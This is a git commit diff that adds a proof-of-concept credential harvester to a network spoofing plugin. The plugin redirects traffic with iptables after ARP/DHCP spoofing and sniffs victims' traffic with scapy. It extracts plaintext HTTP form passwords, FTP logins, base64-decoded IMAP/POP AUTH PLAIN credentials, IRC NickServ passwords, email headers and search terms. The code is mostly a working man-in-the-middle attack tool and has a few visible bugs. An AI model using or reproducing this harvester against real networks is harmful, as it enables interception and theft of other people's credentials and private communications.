Spoof plugin now has PoC cred harvesting capabilities

This commit is contained in:
byt3bl33d3r 2014-12-01 10:48:08 +01:00
parent 7e2a75cb95
commit 5b22d057bb

View file

@ -14,6 +14,8 @@ from scapy.all import *
import os
import sys
import threading
from base64 import b64decode
from urllib import unquote
import binascii
import random
@ -128,9 +130,13 @@ class Spoof(Plugin):
print '[*] Setting up iptables'
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
t.setDaemon(True)
t.start()
CHarvester = CredHarvester(self.interface)
t1 = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
t2 = threading.Thread(name='cred_harvester', target=CHarvester.start(), args=())
for t in [t1, t2]:
t.setDaemon(True)
t.start()
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
@ -366,3 +372,355 @@ class Spoof(Plugin):
print '[*] Re-arping network'
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
sendp(pkt, inter=1, count=5, iface=self.interface)
class CredHarvester(interface):
iface = interface
fragged = 0
imapauth = 0
popauth = 0
ftpuser = None # Necessary since user and pass come in separate packets
ircnick = None # Necessary since user and pass come in separate packets
oldmheaders = []
logins = {} # Printed on Ctrl-C
# For concatenating fragmented packets
prev_pkt = {6667:{}, # IRC
143:{}, # IMAP
110:{}, # POP3
80:{}, # HTTP
26:{}, # SMTP
25:{}, # SMTP
21:{}} # FTP
#these field names were stolen from the etter.fields file (Ettercap Project)
http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
'passwort', 'passwrd', 'wppassword', 'upasswd']
def __init__(self):
sniff(prn=self.pkt_sorter, iface=self.iface)
def pkt_sorter(self, pkt):
if pkt.haslayer(Raw) and pkt.haslayer(TCP):
self.dest = pkt[IP].dst
self.src = pkt[IP].src
self.dport = pkt[TCP].dport
self.sport = pkt[TCP].sport
self.ack = pkt[TCP].ack
self.seq = pkt[TCP].seq
self.load = str(pkt[Raw].load)
if self.dport == 80 or self.sport == 80:
""" HTTP """
port = 80
# Catch fragmented pkts
self.header_lines = self.hb_parse(port)
return self.http_parser(port)
elif self.dport == 6667:
""" IRC """
port = 6667
self.header_lines = self.hb_parse(port) # Join fragmented pkts
return self.irc(port)
elif self.dport == 21 or self.sport == 21:
""" FTP """
port = 21
self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse
self.ftp(port)
elif self.dport == 25 or self.dport == 26:
port = self.dport
self.header_lines = self.hb_parse(port) # Join fragmented pkts
self.email_parser('', 'Outgoing', '')
elif self.sport == 110 or self.dport == 110:
""" POP3 """
port = 110
self.header_lines = self.hb_parse(port) # Join fragmented pkts
if self.dport == 110:
self.mail_pw(port)
if self.sport == 110:
self.email_parser('+OK', 'Incoming', 'POP')
elif self.sport == 143 or self.dport == 143:
""" IMAP """
port = 143
self.header_lines = self.hb_parse(port) # Join fragmented pkts
if self.dport == 143:
self.mail_pw(port)
if self.sport == 143:
self.email_parser('BODY[]', 'Incoming', 'IMAP')
def headers_body(self, protocol):
try:
h, b = protocol.split("\r\n\r\n", 1)
return h, b
except Exception:
h, b = protocol, ''
return h, b
def frag_joiner(self, port):
self.fragged = 0
if len(self.prev_pkt[port]) > 0:
if self.ack in self.prev_pkt[port]:
self.fragged = 1
return {self.ack:self.prev_pkt[port][self.ack]+self.load}
return {self.ack:self.load}
def hb_parse(self, port):
self.prev_pkt[port] = self.frag_joiner(port)
self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack])
return self.headers.split('\r\n')
def logins_check(self, port, user, pw):
for ip in self.logins:
if ip == self.src:
for x in self.logins[ip]:
if x == (self.dest, port, user, pw):
return 1
self.logins[ip].append((self.dest, port, user, pw))
return 0
self.logins[self.src] = [(self.dest, port, user, pw)]
return 0
##################################################
# MAIL #
##################################################
def email_parser(self, first_line, inout, proto):
"""The email module was not giving me what I wanted"""
mail_header_finder = ['To: ', 'From: ', 'Date: ', 'Subject: ']
mail_headers = []
for h in self.header_lines:
for x in mail_header_finder:
if x in h:
mail_headers.append(h)
if len(mail_headers) > 3:
if first_line in self.header_lines[0] and self.body != '':
# Prevent the headers from being repeated in output if msg is fragmented
if mail_headers != self.oldmheaders:
self.oldmheaders = mail_headers
print '[%s] %s %s email:' % (self.src, inout, proto)
for m in mail_headers:
print ' ', m
def mail_pw(self, port):
load = self.load.strip('\r\n')
if self.dport == 143:
auth_find = 'authenticate plain'
proto = 'IMAP'
auth = self.imapauth
self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
elif self.dport == 110:
auth_find = 'AUTH PLAIN'
proto = 'POP'
auth = self.popauth
self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
def mail_pw_auth(self, load, auth_find, proto, auth, port):
if auth == 1:
user, pw = load, 0
found = self.logins_check(port, user, pw)
print '[%s] %s auth: %s' % (self.src, proto, load)
self.b64decode(load, port)
return 0
elif auth_find in load:
return 1
def b64decode(self, load, port):
b64str = load
try:
decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning
except Exception:
decoded = ''
# Test to see if decode worked
if '@' in decoded:
print '[%s] Decoded: %s' % (self.src, decoded)
decoded = decoded.split()
found = self.logins_check(port, decoded[0], decoded[1])
##################################################
# HTTP #
##################################################
def http_parser(self, port):
url = None
host = self.search_headers('host: ')
if host:
get = self.search_headers('get /')
post = self.search_headers('post /')
if get:
url = host+get
elif post:
url = host+post
else:
return
if url:
self.url_printer(url, post)
# Print search terms
searched = self.searches(url, host)
if searched:
print '[%s] Searched %s: %s' % (self.src, host, searched)
if post:
if self.body != '' and 'ocsp' not in host:
if self.fragged:
print '[%s] POST load (frag): %s' % (self.src, self.body)
else:
print '[%s] POST load: %s' % (self.src, self.body)
self.http_user_pass(host, port)
def http_user_pass(self, host, port):
"""Regex out the passwords and usernames
If you think there's a good library for parsing load data I am here to tell you
I have tried several suggestions and they are all less reliable than this way
Feel free to prove otherwise"""
# email, user, username, name, login, log, loginID
user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
# password, pass, passwd, pwd, psw, passwrd, passw
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
username = re.findall(user_regex, self.body)
password = re.findall(pw_regex, self.body)
user = None
pw = None
if username:
for u in username:
user = u[1]
break
if password:
for p in password:
if p[1] != '':
pw = p[1]
break
if user:
print '[%s > %s] login: %s' % (self.src, host, user)
if pw:
print '[%s > %s] password: %s' % (self.src, host, pw)
self.dest = host # So the destination will be saved as the hostname, not IP
found = self.logins_check(port, user, pw)
def url_printer(self, url, post):
if not self.args.verbose:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in url for i in d):
return
url = url[:135]
if not self.fragged:
if post:
print '[%s] %s %s' % (self.src, 'POST', url)
else:
print '[%s] %s' % (self.src, url)
def search_headers(self, header):
for l in self.header_lines:
if header in l.lower():
line = l.split()
try:
return line[1]
except Exception:
return 0
def searches(self, url, host):
""" Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command """
searched = re.search('((search|query|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
if searched:
searched = searched.group(3)
# Common false positives
if 'select%20*%20from' in searched:
return 0
if host == 'geo.yahoo.com':
return 0
# Decode URL encoding
return unquote(searched).replace('+', ' ')
##################################################
# FTP #
##################################################
def ftp(self, port):
"""Catch FTP usernames, passwords, and servers"""
load = self.load.replace('\r\n', '')
if port == self.dport:
if 'USER ' in load:
user = load.strip('USER ')
print '[%s > %s] FTP user: ' % (self.src, self.dest), user
self.ftpuser = user
elif 'PASS ' in load:
pw = load.strip('PASS ')
print '[%s > %s] FTP password:' % (self.src, self.dest), pw
# Necessary since usernames and passwords come in separate packets
if self.ftpuser:
self.logins_check(port, self.ftpuser, pw)
else:
self.logins_check(port, '', pw)
if 'authentication failed' in load:
resp = load
print '[%s > %s] FTP response:' % (self.src, self.dest), resp
if '230 OK' in load:
resp = load
print '[%s > %s] FTP response:' % (self.src, self.dest), resp
##################################################
# IRC #
##################################################
def irc(self, port):
"""Catch IRC nicks, passwords, joins, parts, quits, messages"""
load = self.load.split('\r\n')[0]
if 'NICK ' in load:
self.ircnick = load.strip('NICK ')
print '[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick)
elif 'NS IDENTIFY ' in load:
ircpass = load.strip('NS IDENTIFY ')
print '[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass)
if self.ircnick:
self.logins_check(port, self.ircnick, ircpass)
else:
self.logins_check(port, '', ircpass)
elif 'PRIVMSG ' in load:
load = load.split(' ', 2)
ircchannel = load[1]
ircmsg = load[2][1:] # Get rid of the beginning ":"
print '[%s] IRC msg to %s: %s' % (self.src, ircchannel, ircmsg)
elif 'JOIN ' in load:
ircjoin = load.strip('JOIN ').split()[0] # There's a parameter x we need to get rid of with the split
print '[%s > %s] IRC joined: %s' % (self.src, self.dest, ircjoin)
elif 'PART ' in load:
load = load.split()
ircchannel = load[1]
reason = load[2][1:]
print '[%s > %s] IRC left %s: %s' % (self.src, self.dest, ircchannel, reason)
elif 'QUIT ' in load:
ircquit = load.strip('QUIT :')
print '[%s > %s] IRC quit: %s' % (self.src, self.dest, ircquit)